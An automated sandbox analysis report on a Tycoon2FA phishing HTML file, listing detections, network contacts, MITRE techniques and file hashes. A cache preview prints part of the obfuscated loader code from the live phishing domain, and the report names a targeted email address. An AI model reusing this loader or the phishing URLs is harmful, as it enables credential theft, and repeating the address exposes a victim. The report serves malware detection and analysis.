Edit tour

Windows Analysis Report
test.html

Overview

General Information

Sample name:	test.html
Analysis ID:	1649394
MD5:	33ef0c88b44a4422e7487ccc7d11da1f
SHA1:	f04fbca9f1b8a99c0b6bbc3c9b867cd569556d30
SHA256:	5d967afc199964fb56a1cdb1671e33c5b0c20416ad8a89b592436db23e563558
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	88
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Detected javascript redirector / loader

Creates files inside the system directory

Deletes files inside the Windows folder

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2008,i,16480127350634017656,342114829492312001,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2036 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\test.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_70	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
1.3.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.6.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.7..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 5 entries

HTTP traffic detected: POST /report/v4?s=VLNQfnRuw%2FYdOaLXs%2BD8qeC7h1vDupYzlMnc%2BI%2Bb34Hse9a3ii%2FH%2FLPwXyiu%2BtpfeKd2yvp0AoSqDePnv%2BmVvmiSHT0pUNCxQzM8%2BzWt1vJ%2BjnhA20Ol%2Fq%2FU0AAw HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 435Content-Type: application/reports+jsonOrigin: https://admin.isccjlaw.esUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 26 Mar 2025 17:39:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VLNQfnRuw%2FYdOaLXs%2BD8qeC7h1vDupYzlMnc%2BI%2Bb34Hse9a3ii%2FH%2FLPwXyiu%2BtpfeKd2yvp0AoSqDePnv%2BmVvmiSHT0pUNCxQzM8%2BzWt1vJ%2BjnhA20Ol%2Fq%2FU0AAw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=79178&min_rtt=79106&rtt_var=29716&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2239&delivery_rate=36002&cwnd=63&unsent_bytes=0&cid=9e66d970e475c7e2&ts=340&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 92686df7eec2e0ee-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85986&min_rtt=85834&rtt_var=18336&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1905&delivery_rate=35422&cwnd=252&unsent_bytes=0&cid=155ddb497d3786a9&ts=2960&x=0"

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 142.250.64.68:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3588_1321186212

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3588_1321186212

Jump to behavior

Source: classification engine

Classification label: mal88.phis.evad.winHTML@23/6@8/6

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2008,i,16480127350634017656,342114829492312001,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2036 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\test.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2008,i,16480127350634017656,342114829492312001,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2036 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match

File source: 1.3.d.script.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://admin.isccjlaw.es/favicon.ico	0%	Avira URL Cloud	safe
https://admin.isccjlaw.es/APhOutyLVeRT/	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
admin.isccjlaw.es	172.64.80.1	true	true	unknown
code.jquery.com	151.101.130.137	true	false	high
www.google.com	142.250.64.68	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=VLNQfnRuw%2FYdOaLXs%2BD8qeC7h1vDupYzlMnc%2BI%2Bb34Hse9a3ii%2FH%2FLPwXyiu%2BtpfeKd2yvp0AoSqDePnv%2BmVvmiSHT0pUNCxQzM8%2BzWt1vJ%2BjnhA20Ol%2Fq%2FU0AAw	false		high
https://admin.isccjlaw.es/APhOutyLVeRT/#Mcarmen@mflp.org	false		unknown
https://admin.isccjlaw.es/APhOutyLVeRT/	true	Avira URL Cloud: safe	unknown
https://admin.isccjlaw.es/favicon.ico	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.64.80.1	admin.isccjlaw.es	United States	13335	CLOUDFLARENETUS	true
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.64.68	www.google.com	United States	15169	GOOGLEUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.18
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649394
Start date and time:	2025-03-26 18:38:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	test.html
Detection:	MAL
Classification:	mal88.phis.evad.winHTML@23/6@8/6
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.80.35, 142.251.35.174, 142.251.167.84, 142.251.40.142, 142.251.40.170, 142.250.64.74, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 142.250.81.234, 142.251.32.106, 142.251.35.170, 142.251.40.106, 142.251.40.138, 199.232.90.172, 142.251.41.3, 23.9.183.29, 20.109.210.53
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.64.80.1	http://172.64.80.1	Get hash	malicious	Unknown	Browse	172.64.80.1/favicon.ico
	Transaction advice.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.folowerde.today/bp6u/
	Apexes.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.analyzekeywords.buzz/m9so/
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://bill-payonline.com/checkout?ref=bill-payonline.com	Get hash	malicious	Unknown	Browse	151.101.194.137
	FW_ FW_ DirectDeposit# 952759 _ Payment_ HSAAZDIXHI [ID_0024087].eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.transfernow.net/en/bld?utm_source=20250326Sb0JUtZm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://buildin.ai/share/3cb1e5fb-3724-474b-95f2-a37c9421e6d9?code=38HYMW&embed=true	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fi29tl3nj.zezmubli.es%2525252FXulHox%2525252F%25252FUsrr%25252FIiC8AQ%25252FAQ%25252F07966ed2-96ec-40fb-b7e9-0ee0c7133c29%25252F3%25252Fy-6RHXKfOQ%252FUsrr%252FIyC8AQ%252FAQ%252F0abaa239-87f9-4dd8-9cb4-bfbaa75e3282%252F3%252FD0l4KVXadZ%2FUsrr%2FJCC8AQ%2FAQ%2F7a2ed859-39b1-4b47-862f-32e92bbed180%2F3%2FGgYmyiSL_B/Usrr/JiC8AQ/AQ/e83c472a-0047-4623-9c59-78828204aff6/3/1oR6yMUadL#dGhvbWFzX3dlcm5lckBjb25kZW5hc3QuY29t	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://url.us.m.mimecastprotect.com/s/MVhvC73mEAFPGwlS8fWUoQQY8?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://forms.office.com/e/tacqKUPtuA	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.109.133
	https://bill-payonline.com/checkout?ref=bill-payonline.com	Get hash	malicious	Unknown	Browse	151.101.194.137
	SecuriteInfo.com.Trojan.DownLoader45.42287.31043.2783.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	SecuriteInfo.com.Trojan.MulDrop23.34226.30868.14577.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	185.199.109.153
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://www.transfernow.net/en/bld?utm_source=20250326Sb0JUtZm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	Epsilon-Setup.exe	Get hash	malicious	NovaSentinel	Browse	185.199.110.133
	https://buildin.ai/share/3cb1e5fb-3724-474b-95f2-a37c9421e6d9?code=38HYMW&embed=true	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
CLOUDFLARENETUS	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.45.130
	https://bill-payonline.com/checkout?ref=bill-payonline.com	Get hash	malicious	Unknown	Browse	104.22.44.142
	https://s.id/gQtbn	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.64.80.1
	FW_ FW_ DirectDeposit# 952759 _ Payment_ HSAAZDIXHI [ID_0024087].eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	1.1.1.1
	New Order.bat	Get hash	malicious	Batch Injector, Snake Keylogger	Browse	104.21.48.1
	https://www.google.at/url?q=https%3A%2F%2Fsites.google.com%2Fview%2Fgfyhgfdgd%2Fhome&sa=D&sntz=1&usg=AOvVaw2V-B7GR4_wvs2FgIKvg5nY	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	PO S240556.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	DQom74epIyQwVHC.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	172.65.208.22

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:H+rYn:D
MD5:	F1C9C44E663E7E62582E3F5B236C1C72
SHA1:	E142F3A0C2D1CDF175A5C3AF43AD66FEFE208B1F
SHA-256:	D843E67FBFA1F5CB0024062861EE26860C5A866F80755CF39B3465459A8538B9
SHA-512:	19FE62CB9D884BB3424C51DD15E74EB22E5A639BABF8398BACEBB781862296FA0D7AEE39C88CB9C7AF5791FD58830AC3433F5C6BD94B1BA3912AB33151E93452
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCXdoGbh8SbM9EgUNNzCpMCFrGynHTFT-cQ==?alt=proto
Preview:	CgkKBw03MKkwGgA=

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65356)
Category:	downloaded
Size (bytes):	910699
Entropy (8bit):	3.301018509449343
Encrypted:	false
SSDEEP:	768:wYxipdFTv4E7L8YhbS6vYxipdFTv4E7L8YhbS6mLkK9LSLkK9Lz:wYUpbTgL6vYUpbTgL6mLBJSLBJz
MD5:	7E96DA6C563CAE853FA7E5EEF649E031
SHA1:	F6A386D65D0F99B9277C9C53A500DF11DEA57963
SHA-256:	1A508142672C3214C65D0FEB1DD34A6F25E8A94F42F9789BC1D8313BF6CBCE20
SHA-512:	A72E5680FD72EAA6157A5F76A8EB713690A17154D0E7EBC399106166709C28618502B1BAACBC62C24801C6FAD1ABED80D4C5E4A4C1B2CE669BAB2AF2E620DF36
Malicious:	false
Reputation:	low
URL:	https://admin.isccjlaw.es/APhOutyLVeRT/
Preview:	<script>.eISHhEonfp = atob("aHR0cHM6Ly9pc0suaXNjY2psYXcuZXMvQVBoT3V0eUxWZVJULw==");.fjBrpNvPxp = atob("bm9tYXRjaA==");.PrLOXOBDzk = atob("d3JpdGU=");.if(eISHhEonfp == fjBrpNvPxp){.document[PrLOXOBDzk](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9RWRnZSxjaHJvbWU9MSI+CiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgIDx0aXRsZT4mIzgyMDM7PC90aXRsZT4KICAgIDxzY3JpcHQ+CiAgICBjb25zdCBtSHVmcUVVcVFhID0gewogIGdldChOWE5LRExxdUFhLCBNRnBJY29QcmFyKSB7CiAgICBjb25zdCBTbEtuTGRSTFpOID0gWy4uLk1GcEljb1ByYXJdCiAgICAgIC5tYXAoeXptaHpPU0ZmVSA9PiArKCfvvqAnID4geXptaHpPU0ZmVSkpCiAgICAgIC5qb2luKCcnKTsKICAgIGNvbnN0IFhDWURwVnhrY1UgPSBTbEtuTGRSTFpOLnJlcGxhY2UoLy57OH0vZywgbklZQk5aY2tlciA9PgogICAgICBTdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KG5JWUJOWmNrZXIsIDIpKQogICAgKTsKICAgIHJldHVybiBldmFsKFhDWURwVnhrY1U

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (1482)
Entropy (8bit):	5.104383266452725
TrID:	HyperText Markup Language (15004/1) 83.32% Text - UTF-8 encoded (3003/1) 16.68%
File name:	test.html
File size:	1'611 bytes
MD5:	33ef0c88b44a4422e7487ccc7d11da1f
SHA1:	f04fbca9f1b8a99c0b6bbc3c9b867cd569556d30
SHA256:	5d967afc199964fb56a1cdb1671e33c5b0c20416ad8a89b592436db23e563558
SHA512:	c8c082ad764342da2487f1ad851ee6c0188df389c3a4ac99243f2c2de00134f5d7c93a493739023d2853f5be9c95565988354e7262bafce352137d6aece3b30e
SSDEEP:	48:fHso8Ccq+vodR0xhl1tYgJEiTyoW321yCT:0o8CcPfm0Tyo2c
TLSH:	6831539B7289529147F3E08A943F95CCCD2E6E1A7185D42C541CE8B0A6CD1D2A56BEC8
